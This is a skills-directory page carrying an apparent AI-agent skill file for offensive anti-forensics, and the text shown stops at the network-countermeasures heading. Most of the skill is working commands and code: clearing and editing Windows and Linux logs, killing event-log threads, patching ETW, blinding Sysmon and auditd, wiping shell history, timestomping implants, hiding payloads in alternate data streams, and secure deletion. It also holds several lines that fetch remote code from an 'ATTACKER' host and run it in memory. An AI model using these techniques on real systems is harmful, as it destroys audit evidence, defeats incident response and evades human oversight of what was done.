Skip to content
Back to skills

Redteam Anti Forensics

BSecurity

Evidence elimination and artifact manipulation methodology for authorized red team operations. Encompasses Windows event log surgery (wevtutil, Clear-EventLog, Invoke-Phant0m thread killing, Danderspritz EventLogEdit, ETW provider neutralization, Sysmon driver unloading and config extraction), Linux log sanitization (journal vacuuming, utmp/wtmp/btmp binary record editing via utmpdump, auditd rule suppression, rsyslog interception, bash history elimination), MACE timestamp forgery via Timesto...

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securitypythonrustgoshellbashsqlnodeawsazuregit

Works with

  • cursor
  • terminal
  • cli
  • api

Security analysis

B76/100
  • mediumUses curl or wget to download content
  • highPerforms destructive filesystem operations
  • criticalModifies startup scripts or system services for persistence

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-anti-forensics --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Redteam Anti Forensics?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Redteam Anti Forensics
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-redteam-anti-forensics/badge)](https://www.skillsdirectory.com/skills/anandjogawade-redteam-anti-forensics)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: redteam-anti-forensics
description: Evidence elimination and artifact manipulation methodology for authorized red team operations. Encompasses Windows event log surgery (wevtutil, Clear-EventLog, Invoke-Phant0m thread killing, Danderspritz EventLogEdit, ETW provider neutralization, Sysmon driver unloading and config extraction), Linux log sanitization (journal vacuuming, utmp/wtmp/btmp binary record editing via utmpdump, auditd rule suppression, rsyslog interception, bash history elimination), MACE timestamp forgery via Timestomp/SetMACE/$STANDARD_INFORMATION vs $FILE_NAME attribute manipulation with USN Journal and $LogFile cleanup, NTFS Alternate Data Stream concealment, secure deletion on HDD and SSD-aware wiping, MFT entry manipulation, EXT4 journal and inode editing, file slack space exploitation, in-memory-only execution patterns with sleep encryption (Ekko/Ziliean), process hollowing for memory residence, PEB unlinking, reflective loading, handle table scrubbing, network forensics countermeasures (TLS 1.3 C2
keywords:
- anti-forensics
- log clearing
- timestomp
- timestamp manipulation
- event log
- Invoke-Phant0m
- ETW patching
- Sysmon evasion
- utmp wtmp
- secure deletion
- NTFS ADS
- alternate data streams
- USN journal
- MFT manipulation
- memory forensics
- sleep encryption
- anti-VM
- sandbox evasion
- evidence destruction
- indicator removal
tools:
- Timestomp
- SetMACE
- wevtutil
- sdelete
- shred
- Invoke-Phant0m
- utmpdump
- debugfs
- EventLogEdit
opsec: critical
---

# Offensive Anti-Forensics — Complete Evidence Control Methodology

Every operation generates artifacts. Logs record commands, timestamps betray
activity windows, memory preserves loaded tooling, disk metadata survives file
deletion, and network captures expose communication channels. An operator who
does not control these evidence sources leaves a roadmap for incident response
teams.

This skill documents every major forensic artifact category across Windows and
Linux, the techniques to destroy, modify, or prevent each, and the defender
indicators that reveal incomplete cleanup. All techniques require explicit
written authorization. Record every evidence manipulation action in your
engagement log so the blue team can rebuild their detection baseline during
the debrief.

---

## Operational Sequence

Timing matters. The order in which you address evidence sources determines
how much telemetry escapes before you neutralize it.

```
1. SURVEY   → Map logging infrastructure on the target before payload execution.
              Identify active ETW providers, Sysmon config, auditd rules,
              log forwarding destinations, SIEM agents.
2. BLIND    → Neutralize telemetry at the source (ETW patch, Sysmon unload,
              auditd stop) BEFORE executing offensive actions.
3. EXECUTE  → Conduct your operation using in-memory techniques wherever possible.
              Minimize disk writes. Use fileless execution paths.
4. FORGE    → Manipulate timestamps on any files created or modified to blend
              with surrounding filesystem activity patterns.
5. SANITIZE → Edit logs surgically. Selective record removal beats wholesale
              clearing every time.
6. SCRUB    → Remove memory artifacts if live forensics is a concern.
              Clean shell history, credential caches, handle tables.
7. VERIFY   → Check the same evidence sources a forensic analyst would examine.
              Confirm your cleanup eliminated the targeted artifacts.
```

---

## 1. WINDOWS EVENT LOG MANIPULATION

Windows event logs are the backbone of Windows forensic investigation. The
Security, System, PowerShell/Operational, Sysmon/Operational, and application-
specific channels record authentication, process creation, service installation,
scheduled task creation, and script execution.

### 1.1 Targeted Channel Clearing with Wevtutil

Clearing individual channels is less conspicuous than wiping everything. Focus
on channels that captured your specific activity.

```cmd
rem Enumerate all log channels with recorded events
wevtutil el | findstr /i "operational"
wevtutil el > all_channels.txt

rem Export a channel before clearing (preserve for your engagement records)
wevtutil epl Security C:\Windows\Temp\sec_pre_clear.evtx
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Windows\Temp\sysmon_pre.evtx

rem Clear specific channels that recorded your activity
wevtutil cl Security
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
wevtutil cl System
wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"
wevtutil cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
wevtutil cl "Microsoft-Windows-WinRM/Operational"

rem Clear ALL channels (maximum destruction, maximum noise)
for /f "tokens=*" %i in ('wevtutil el') do wevtutil cl "%i" 2>nul
```

**Forensic note**: Clearing the Security log generates Event ID 1102. Clearing
any log generates Event ID 104 in the System channel. These meta-events
survive unless you clear the channel that records them, creating a chicken-
and-egg situation. Clear System last.

### 1.2 PowerShell Event Log Operations

```powershell
# Clear classic event logs
Clear-EventLog -LogName Security, System, Application

# Clear all logs with recorded events
Get-WinEvent -ListLog * -ErrorAction SilentlyContinue |
    Where-Object { $_.RecordCount -gt 0 } |
    ForEach-Object { wevtutil cl $_.LogName 2>$null }

# Time-window selective approach (export events outside your window, clear, reimport)
# Native APIs do not support single-record deletion — requires external tooling
$safeEvents = Get-WinEvent -LogName Security |
    Where-Object { $_.TimeCreated -lt "2026-08-24 03:00" -or
                   $_.TimeCreated -gt "2026-08-24 05:00" }
# Note: reimporting individual events requires EVTX reconstruction
```

### 1.3 Invoke-Phant0m — Kill Event Log Service Threads

Invoke-Phant0m terminates the threads within the Event Log service process
that handle log writing. The service continues running (no service-stopped
alert), but no new events are recorded until the system reboots or the
threads are restarted.

```powershell
# Load and execute Phant0m
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Phant0m.ps1')
Invoke-Phant0m

# Manual thread killing approach
# 1. Identify svchost.exe hosting the EventLog service
$svc = Get-WmiObject Win32_Service -Filter "Name='EventLog'"
$pid = $svc.ProcessId

# 2. Enumerate threads in that process
# 3. Identify threads owned by wevtsvc.dll
# 4. Terminate only those threads
# The service stays alive but blind — zero new log entries
```

**Advantage over clearing**: No Event ID 1102 or 104 generated. The log
simply stops growing. A defender checking log freshness may notice, but
automated alerts on log-cleared events do not fire.

### 1.4 Danderspritz EventLogEdit — Surgical Record Removal

The NSA-developed EventLogEdit (leaked in Shadow Brokers) modifies individual
records within EVTX files without clearing the entire log.

```
# Concept: parse EVTX binary format, locate target records by Event ID,
# timestamp, or content, remove them, then repack the EVTX file with
# valid checksums and record counts.

# Third-party implementations:
# - EvtxECmd (Eric Zimmerman) for parsing
# - Custom Python scripts using python-evtx library for editing
# - Phant0m + EventLogEdit combination for real-time record suppression
```

```python
# Python-based selective EVTX record removal concept
# Uses python-evtx library for parsing
import Evtx.Evtx as evtx
import Evtx.Views as views

def remove_records(evtx_path, output_path, filter_func):
    """Remove specific records from an EVTX file."""
    with evtx.Evtx(evtx_path) as log:
        # Parse all records, filter out targeted entries
        # Reconstruct valid EVTX with remaining records
        # Recalculate checksums and record counts
        pass  # Implementation requires EVTX binary format knowledge
```

### 1.5 ETW Provider Neutralization

Event Tracing for Windows feeds telemetry to EDR sensors, Sysmon, and Windows
Defender. Patching ETW in-process prevents your actions from generating
telemetry at the source — far quieter than clearing logs after the fact.

```csharp
// Patch ntdll!EtwEventWrite to return immediately (RET instruction)
// This blinds ALL ETW consumers for events originating from this process
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(etwAddr, 0xC3); // RET
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out _);
```

```powershell
# PowerShell ETW provider disabling via logman
logman stop "EventLog-Microsoft-Windows-Sysmon/Operational" -ets 2>$null
logman stop "EventLog-Application" -ets 2>$null
logman stop "Circular Kernel Context Logger" -ets 2>$null

# Disable Microsoft-Windows-Threat-Intelligence provider
# (feeds Defender and EDR with process/thread/image load events)
# Requires SYSTEM privileges — typically done after privilege escalation
```

```powershell
# Disable Script Block Logging at the registry level
# Prevents PowerShell 5.0+ from recording script blocks to Event ID 4104
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (!(Test-Path $path)) { New-Item -Path $path -Force | Out-Null }
Set-ItemProperty -Path $path -Name "EnableScriptBlockLogging" -Value 0
Set-ItemProperty -Path $path -Name "EnableScriptBlockInvocationLogging" -Value 0

# In-memory script block logging bypass (session-only, no registry change)
$utils = [Ref].Assembly.GetType('System.Management.Automation.Utils')
$cache = $utils.GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$cache['ScriptBlockLogging'] = @{}
$cache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$cache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
```

### 1.6 Sysmon Evasion

Sysmon provides high-fidelity process creation (Event ID 1), network connection
(ID 3), file creation (ID 11), and registry modification (ID 13) logging. It
runs as a kernel driver, making it harder to tamper with than user-mode logging.

```powershell
# Check if Sysmon is installed
Get-Service Sysmon* 2>$null
Get-Process Sysmon* 2>$null
fltmc | findstr /i sysmon  # check for Sysmon minifilter driver

# Extract Sysmon configuration (understand what is being logged)
# Sysmon config is stored in the registry
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"

# Unload Sysmon driver (requires SYSTEM + unsigned driver policy or specific unload path)
# Method 1: Use Sysmon's own uninstall command (needs admin)
sysmon -u
# Method 2: Unload via fltmc (may require specific driver name)
fltmc unload SysmonDrv

# Blind specific Event IDs without unloading
# Modify Sysmon config to exclude your process or technique
# This requires writing a new config and applying it:
sysmon -c new_config.xml
```

```xml
<!-- Sysmon config that blinds it to your activity -->
<!-- Apply with: sysmon -c blind_config.xml -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Exclude all process creation events (ID 1) -->
    <ProcessCreate onmatch="include" />
    <!-- Exclude all network connections (ID 3) -->
    <NetworkConnect onmatch="include" />
    <!-- Exclude all file creation events (ID 11) -->
    <FileCreate onmatch="include" />
  </EventFiltering>
</Sysmon>
```

### 1.7 WMI Event Subscription Cleanup

If you used WMI persistence or other WMI-based techniques, clean up the
subscriptions that remain.

```powershell
# List all WMI event subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# Remove specific subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='YourFilter'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='YourConsumer'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like '*YourFilter*' } | Remove-WmiObject

# Nuclear option: remove ALL event subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding | Remove-WmiObject
```

---

## 2. LINUX LOG SANITIZATION

Linux logging infrastructure varies by distribution: syslog/rsyslog/syslog-ng
for text logs, systemd-journald for structured binary logs, and binary
utmp/wtmp/btmp files for login session records. Each requires a different
manipulation approach.

### 2.1 Text Log Surgical Editing

Truncation and selective line removal are preferable to deleting log files,
which creates obvious gaps in inode tables and directory listings.

```bash
# Truncate without deleting (preserves inode, avoids missing-file alerts)
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
truncate -s 0 /var/log/daemon.log
truncate -s 0 /var/log/kern.log

# Surgical removal — strip entries matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog
sed -i '/10\.10\.14\.5/d' /var/log/messages

# Remove entries within a specific time window
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-5]/d' /var/log/auth.log

# Handle rotated and compressed logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
    if file "$f" | grep -q gzip; then
        gunzip "$f"
        sed -i '/10\.10\.14\.5/d' "${f%.gz}"
        gzip "${f%.gz}"
    else
        sed -i '/10\.10\.14\.5/d' "$f"
    fi
done

# Remove failed SSH login attempts (btmp is binary — handled separately)
# Check what auth.log recorded about you
grep -n "10.10.14.5" /var/log/auth.log
```

### 2.2 Systemd Journal Manipulation

```bash
# Rotate and vacuum to minimal retention
journalctl --flush --rotate
journalctl --vacuum-time=1s

# Vacuum to small size (keeps recent benign entries as cover)
journalctl --vacuum-size=5M

# Direct journal file removal (aggressive)
rm -rf /var/log/journal/*
rm -rf /run/log/journal/*
systemctl restart systemd-journald

# Verify cleanup
journalctl --no-pager | wc -l  # should be minimal
```

### 2.3 Binary Login Record Editing (utmp/wtmp/btmp)

The `who`, `w`, `last`, and `lastb` commands read binary utmp/wtmp/btmp files.
Standard text tools cannot edit these — you need binary-aware utilities.

```bash
# Method 1: utmpdump — text conversion, edit, reconvert
utmpdump /var/log/wtmp > /tmp/wtmp_text.txt
grep -v "your_username" /tmp/wtmp_text.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp_text.txt /tmp/wtmp_clean.txt

# Same for btmp (failed logins)
utmpdump /var/log/btmp > /tmp/btmp_text.txt
grep -v "10.10.14.5" /tmp/btmp_text.txt > /tmp/btmp_clean.txt
utmpdump -r < /tmp/btmp_clean.txt > /var/log/btmp
rm /tmp/btmp_text.txt /tmp/btmp_clean.txt

# Same for utmp (current logins — /var/run/utmp)
utmpdump /var/run/utmp > /tmp/utmp_text.txt
grep -v "your_username" /tmp/utmp_text.txt > /tmp/utmp_clean.txt
utmpdump -r < /tmp/utmp_clean.txt > /var/run/utmp
rm /tmp/utmp_text.txt /tmp/utmp_clean.txt
```

```c
/* Custom utmp record remover — compile on attacker, transfer to target
 * gcc -o uclean uclean.c
 * ./uclean /var/log/wtmp your_username */
#include <stdio.h>
#include <string.h>
#include <utmp.h>

int main(int argc, char *argv[]) {
    if (argc != 3) { fprintf(stderr, "Usage: %s <file> <username>\n", argv[0]); return 1; }
    FILE *src = fopen(argv[1], "rb");
    FILE *dst = fopen("/tmp/.uc_tmp", "wb");
    if (!src || !dst) { perror("fopen"); return 1; }
    struct utmp entry;
    int removed = 0;
    while (fread(&entry, sizeof(entry), 1, src) == 1) {
        if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
            fwrite(&entry, sizeof(entry), 1, dst);
        } else { removed++; }
    }
    fclose(src); fclose(dst);
    rename("/tmp/.uc_tmp", argv[1]);
    fprintf(stderr, "Removed %d records\n", removed);
    return 0;
}
```

### 2.4 Lastlog Manipulation

```bash
# lastlog stores per-user last login info in /var/log/lastlog
# Binary file — fixed-size records indexed by UID
# Zeroing a record clears the user's last login entry

# Using Python to zero a specific UID record
python3 -c "
import struct, os
uid = 1000  # target UID
record_size = struct.calcsize('I32s256s')  # time, line, host
with open('/var/log/lastlog', 'r+b') as f:
    f.seek(uid * record_size)
    f.write(b'\x00' * record_size)
print('Cleared lastlog for UID', uid)
"
```

### 2.5 Auditd Manipulation

```bash
# Check if auditd is running
systemctl status auditd
auditctl -l  # list current rules

# Temporarily disable audit logging
auditctl -e 0  # disable auditing
# ... perform operations ...
auditctl -e 1  # re-enable

# Remove specific rules that log your activity
auditctl -d always,exit -F arch=b64 -S connect -k network_connections  # remove connect tracking
auditctl -D  # delete ALL rules (aggressive)

# Clear audit log
truncate -s 0 /var/log/audit/audit.log
service auditd restart

# Remove your entries from audit log
ausearch -i --just-one -k your_key | head  # find your entries
sed -i '/10\.10\.14\.5/d' /var/log/audit/audit.log
```

### 2.6 Shell History Elimination

```bash
# Prevent history recording for current session
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0
set +o history

# Clear existing history
history -c
history -w  # write empty history to file

# Remove history files
rm -f ~/.bash_history
rm -f ~/.zsh_history
rm -f ~/.python_history
rm -f ~/.mysql_history
rm -f ~/.psql_history
rm -f ~/.lesshst
rm -f ~/.viminfo

# Start shell without history from the beginning
bash --norc --noprofile
# Or: HISTFILE=/dev/null bash

# Prevent .bash_logout from logging on exit
# Check if .bash_logout contains history-saving commands
cat ~/.bash_logout
# Remove or empty it if it saves history
truncate -s 0 ~/.bash_logout

# Kill the shell to prevent history flush on exit
# (bash flushes history on clean exit, not on kill)
kill -9 $$
```

### 2.7 Rsyslog/Syslog-ng Interception

```bash
# Identify remote log forwarding
grep -r "@@" /etc/rsyslog.conf /etc/rsyslog.d/  # @@ = TCP forwarding
grep -r "destination" /etc/syslog-ng/           # syslog-ng destinations

# Temporarily stop forwarding
systemctl stop rsyslog
# ... perform operations ...
systemctl start rsyslog

# Or redirect forwarding to null
# Add to rsyslog.conf: *.* stop
# This drops all messages before they reach forwarding rules
```

---

## 3. TIMESTAMP FORGERY

Forensic timeline analysis correlates four timestamp attributes per file:
Modified, Accessed, Created, Entry-modified (MACE on NTFS) or Modified,
Accessed, Changed (MAC on ext4). Forging these defeats chronological
reconstruction of attacker activity.

### 3.1 Windows MACE Timestamp Manipulation

```powershell
# PowerShell native timestamp modification (modifies $STANDARD_INFORMATION)
$target = Get-Item "C:\Windows\Temp\implant.exe"
$target.CreationTime   = "01/15/2025 09:30:00"
$target.LastWriteTime  = "01/15/2025 09:30:00"
$target.LastAccessTime = "01/15/2025 09:30:00"

# Clone timestamps from a legitimate system file
$reference = Get-Item "C:\Windows\System32\notepad.exe"
$target = Get-Item "C:\Windows\Temp\implant.exe"
$target.CreationTime   = $reference.CreationTime
$target.LastWriteTime  = $reference.LastWriteTime
$target.LastAccessTime = $reference.LastAccessTime

# Bulk timestamp normalization for a directory of dropped tools
Get-ChildItem "C:\Windows\Temp\tools\" -Recurse | ForEach-Object {
    $_.CreationTime   = "03/14/2025 11:00:00"
    $_.LastWriteTime  = "03/14/2025 11:00:00"
    $_.LastAccessTime = "03/14/2025 11:00:00"
}
```

**$STANDARD_INFORMATION vs $FILE_NAME — the forensic gap:**

NTFS stores timestamps in two MFT attributes: `$STANDARD_INFORMATION` (SI) and
`$FILE_NAME` (FN). Standard tools (PowerShell, touch, Timestomp) modify only
SI. The FN attribute retains the original timestamps and is a primary indicator
of timestomping. Modifying FN requires raw NTFS manipulation.

```
# Meterpreter Timestomp (modifies SI only)
meterpreter> timestomp C:\\Windows\\Temp\\implant.exe -f C:\\Windows\\System32\\notepad.exe

# SetMACE — raw NTFS manipulation (modifies both SI and FN)
# SetMACE directly accesses MFT records to modify both attribute sets
# This defeats the SI-vs-FN discrepancy check used by forensic analysts
SetMACE.exe -f "C:\Windows\Temp\implant.exe" -r "C:\Windows\System32\notepad.exe"
```

```cmd
rem Touch equivalent in Windows (copy /b trick)
rem Copies file to itself, resetting timestamps to current time
copy /b "C:\Windows\Temp\implant.exe" +,, "C:\Windows\Temp\implant.exe"
```

### 3.2 USN Journal and $LogFile Cleanup

The Update Sequence Number journal and the $LogFile transaction log both
record filesystem changes with timestamps, even for deleted files.

```cmd
rem Delete the entire USN Journal
fsutil usn deletejournal /d C:

rem Query USN to understand what it captured
fsutil usn readjournal C: csv > usn_audit.csv
findstr /i "implant" usn_audit.csv

rem Disable USN journal creation entirely
fsutil usn deletejournal /n C:

rem $LogFile cannot be directly deleted while NTFS is mounted
rem Fill the volume to force $LogFile record reuse
rem (same technique as MFT overwrite — see Disk Artifacts section)
```

### 3.3 Linux Timestamp Manipulation

```bash
# Set specific MACE values
touch -t 202501150930.00 /tmp/implant          # modification + access
touch -a -t 202501150930.00 /tmp/implant       # access time only
touch -m -t 202501150930.00 /tmp/implant       # modification time only

# Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/implant

# Recursive normalization for a tool directory
find /opt/staging -type f -exec touch -r /usr/bin/ls {} \;

# Change ctime (change time) — not possible via standard APIs
# Requires debugfs on unmounted ext4 filesystem
debugfs -w /dev/sda1 -R "set_inode_field <INODE_NUMBER> ctime 202501150930"
# Note: debugfs only works on unmounted filesystems or requires
# remounting read-only. Impractical on live root filesystems.

# Alternative ctime workaround: set system clock, perform operation, reset clock
date -s "2025-01-15 09:30:00"
touch /tmp/implant  # all three timestamps set to fake time
date -s "$(ntpdate -q pool.ntp.org 2>/dev/null | head -1 | awk '{print $1, $2}')"
# WARNING: changing system clock may disrupt Kerberos, certificates, and services
```

---

## 4. FILESYSTEM ANTI-FORENSICS

### 4.1 NTFS Alternate Data Streams (ADS)

ADS allows arbitrary data to be attached to any file or directory without
changing the visible file size. Standard directory listings (dir, Get-ChildItem
default) do not reveal ADS content.

```cmd
rem Conceal a payload inside an ADS attached to a benign file
type implant.exe > "C:\Users\Public\Documents\readme.txt:svc.exe"

rem Conceal data in an ADS
echo "configuration data" > "C:\Users\Public\readme.txt:config"

rem Execute from ADS (method depends on payload type and Windows version)
wmic process call create "C:\Users\Public\Documents\readme.txt:svc.exe"
forfiles /p C:\Windows\System32 /m svchost.exe /c "C:\Users\Public\Documents\readme.txt:svc.exe"

rem Enumerate ADS on a file
dir /r "C:\Users\Public\Documents\readme.txt"
```

```powershell
# PowerShell ADS operations
# Write data to an ADS
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden_config" -Value "C2=10.10.14.5:443"

# Read from ADS
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden_config"

# List all streams on a file
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *

# Write binary data to ADS
[System.IO.File]::WriteAllBytes(
    "C:\Users\Public\readme.txt:payload.bin",
    [System.IO.File]::ReadAllBytes("C:\Windows\Temp\implant.exe")
)

# Remove an ADS
Remove-Item -Path "C:\Users\Public\readme.txt" -Stream "hidden_config"
```

### 4.2 Secure Deletion

```cmd
rem SDelete (Sysinternals) — overwrite before deletion
sdelete -p 3 "C:\Windows\Temp\implant.exe"
sdelete -p 3 -s "C:\Windows\Temp\staging\"

rem cipher /w — overwrite deallocated disk space on a volume
cipher /w:C:\Windows\Temp

rem FSUTIL for sparse file deletion (harder to recover fragments)
fsutil file setZeroData offset=0 length=999999 "C:\Windows\Temp\implant.exe"
del "C:\Windows\Temp\implant.exe"
```

```bash
# shred — overwrite file content multiple times before unlinking
shred -vfz -n 3 /tmp/implant
shred -u /tmp/implant  # overwrite + unlink in one step

# srm (secure-delete package)
srm -sz /tmp/implant

# Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/.wipe_free bs=1M 2>/dev/null
sync
rm /tmp/.wipe_free

# Zero free space (faster but less secure than urandom)
dd if=/dev/zero of=/tmp/.wipe_free bs=1M 2>/dev/null
rm /tmp/.wipe_free
```

**SSD TRIM awareness**: On solid-state drives, the TRIM command tells the
controller to mark blocks as unused. The controller may erase them at any
time, but forensic recovery before TRIM completion is possible. Secure
deletion on SSDs is inherently unreliable — data may persist in reserve
blocks, wear-leveling areas, or unTRIMMed sectors.

```bash
# Trigger TRIM manually (Linux)
fstrim -v /
# Note: does not guarantee immediate data destruction
```

### 4.3 EXT4 Journal Manipulation

```bash
# EXT4 journals record filesystem transactions including file creation
# and modification. Clearing the journal removes this evidence trail.

# Check journal status
dumpe2fs /dev/sda1 | grep -i journal

# Disable journaling (requires unmount — impractical on live root)
tune2fs -O ^has_journal /dev/sda1

# Clear journal on unmounted filesystem
debugfs -w /dev/sda1 -R "logdump"  # view journal
# Journal manipulation requires raw access and is risky on live systems
```

### 4.4 Inode and MFT Manipulation

```bash
# Linux: view inode metadata
stat /tmp/implant
ls -li /tmp/implant

# Modify inode fields via debugfs (unmounted filesystem only)
debugfs -w /dev/sda1 << EOF
set_inode_field <inode_number> i_mtime 202501150930
set_inode_field <inode_number> i_atime 202501150930
set_inode_field <inode_number> i_ctime 202501150930
EOF
```

```powershell
# Windows: MFT entries for deleted files persist until the entry is reused
# Force MFT entry reuse by filling the volume with small files
1..10000 | ForEach-Object {
    [System.IO.File]::Create("C:\Windows\Temp\pad_$_.tmp").Close()
}
# Then delete the padding files
Remove-Item "C:\Windows\Temp\pad_*.tmp"

# Or fill volume to force MFT entry overwrite
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buf = New-Object byte[] (1MB)
try { while ($true) { $stream.Write($buf, 0, $buf.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }
```

### 4.5 File Slack Space

File slack (the unused space between end-of-file and end-of-cluster) can
both hide data and inadvertently leak evidence. Forensic tools examine slack
for data remnants.

```bash
# Hide data in file slack (concept)
# 1. Write your data to a file on disk
# 2. Use bmap to write directly to slack space
bmap --mode putslack /path/to/cover_file < /path/to/secret_data

# Extract from slack
bmap --mode slack /path/to/cover_file

# Clean slack space
bmap --mode wipeslack /path/to/cover_file
```

---

## 5. MEMORY ANTI-FORENSICS

Memory captures (via tools like WinPmem, LiME, or Volatility framework) can
recover credentials, loaded modules, command history, network connections,
and injected code from process memory.

### 5.1 In-Memory-Only Execution

The most effective memory anti-forensic technique is never touching disk at
all. Execute payloads entirely in memory.

```powershell
# Fileless execution — download and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/tool.ps1')

# .NET assembly loading directly into memory
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/tool.exe')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,[string[]]@()))

# Cobalt Strike execute-assembly
# Loads .NET assemblies into a sacrificial process without disk writes
```

### 5.2 Sleep Encryption (Ekko/Ziliean/DeathSleep)

Sleep encryption prevents memory scanners from identifying beacon code
during the implant's sleep cycle. The shellcode/beacon is encrypted in
memory when idle and decrypted only during active execution.

```
# Concept:
# 1. Beacon finishes tasking → encrypt its own memory region
# 2. Queue a timer callback (CreateTimerQueueTimer) set to the sleep interval
# 3. Timer fires → decrypts memory → beacon executes → re-encrypts → sleeps
# Result: memory scanner during sleep sees encrypted garbage, not beacon signatures

# Ekko: uses CreateTimerQueueTimer + NtContinue for ROP-based sleep
# Ziliean: similar approach with WaitForSingleObjectEx
# DeathSleep: uses NtDelayExecution with encrypted memory regions
```

### 5.3 Process Hollowing for Memory Concealment

Hide your payload inside a legitimate process's memory space to evade
memory forensics that examines process image integrity.

```
# 1. CreateProcess with CREATE_SUSPENDED flag (legitimate binary like svchost.exe)
# 2. NtUnmapViewOfSection — remove the legitimate image from memory
# 3. VirtualAllocEx — allocate new memory in the hollowed process
# 4. WriteProcessMemory — write your payload into the allocated region
# 5. SetThreadContext — update the entry point to your payload
# 6. ResumeThread — the process runs your code but its name/path looks legitimate
```

### 5.4 Reflective Loading

Load DLLs or executables directly from memory without using the Windows loader,
leaving no entry in the PEB's loaded module list.

```
# Reflective DLL injection:
# 1. Allocate memory in target process
# 2. Write DLL bytes to allocated memory
# 3. DLL's ReflectiveLoader function maps itself:
#    - Parses its own PE headers
#    - Resolves imports from loaded modules
#    - Applies relocations
#    - Calls DllMain
# No LoadLibrary call → no PEB entry → invisible to EnumProcessModules
```

### 5.5 PEB Unlinking for Process Hiding

Modify the Process Environment Block to unlink a process from the loaded
modules list, making it invisible to standard enumeration.

```
# Target: PEB→Ldr→InMemoryOrderModuleList
# Unlink your DLL/module from the doubly-linked list:
#   previous->Flink = current->Flink
#   next->Blink = current->Blink
# The module stays in memory and executes normally, but
# EnumProcessModules and similar APIs no longer enumerate it
```

### 5.6 Handle Table and Credential Scrubbing

```powershell
# Clear PowerShell command history from memory
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# Clear clipboard
[System.Windows.Forms.Clipboard]::Clear()

# Clear credential cache
cmdkey /list | ForEach-Object {
    if ($_ -match "Target: (.+)") { cmdkey /delete:$matches[1] }
}
```

```bash
# Clear SSH agent credentials
ssh-add -D

# Shed memory artifacts by exec-ing into a fresh shell
exec bash --norc --noprofile

# Clear environment variables containing sensitive data
unset AWS_SECRET_ACCESS_KEY
unset PASSWORD
unset TOKEN

# Zero out sensitive variables before unsetting
PASSWORD="$(head -c 32 /dev/urandom | base64)"
unset PASSWORD
```

### 5.7 Heap Spray Cleanup

After exploitation involving heap sprays, residual spray patterns in memory
are obvious forensic indicators. Clean up by freeing allocated heap regions.

```
# If you have code execution in the target process:
# 1. Enumerate heap allocations (HeapWalk)
# 2. Identify spray regions (large consecutive allocations of similar size)
# 3. Free spray allocations (HeapFree)
# 4. Optionally overwrite freed regions with zeros
```

---

## 6. NETWORK FORENSICS COUNTERMEASURES

